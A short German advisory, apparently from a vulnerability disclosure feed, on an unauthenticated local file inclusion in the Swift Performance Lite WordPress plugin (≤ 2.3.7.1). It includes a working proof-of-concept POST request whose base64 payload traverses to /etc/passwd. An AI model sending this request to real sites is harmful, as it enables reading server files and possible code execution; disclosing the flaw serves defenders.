
Swift Performance Lite <= 2.3.7.1 - Nicht authentifizierte lokale PHP-Datei-Inklusion via 'ajaxify'
Swift Performance Lite <= 2.3.7.1 - Nicht authentifizierte lokale PHP-Dateieinbindung über 'ajaxify'
Das Swift Performance Lite-Plugin für WordPress ist anfällig für lokale PHP-Dateieinbindung in allen Versionen bis einschließlich 2.3.7.1 über die 'ajaxify'-Funktion. Dadurch können nicht authentifizierte Angreifer beliebige Dateien auf dem Server einbinden und ausführen, was die Ausführung jedes PHP-Codes in diesen Dateien ermöglicht. Dies kann genutzt werden, um Zugriffskontrollen zu umgehen, sensible Daten zu erlangen oder eine Codeausführung zu erreichen, wenn Bilder und andere „sichere“ Dateitypen hochgeladen und eingebunden werden können.
Base64-Payload = ["template-part","null","../../../../../etc/passwd"]
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 202
action=swift_performance_ajaxify&data=WyJ0ZW1wbGF0ZS1wYXJ0IiwibnVsbCIsIi4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2QiXQ==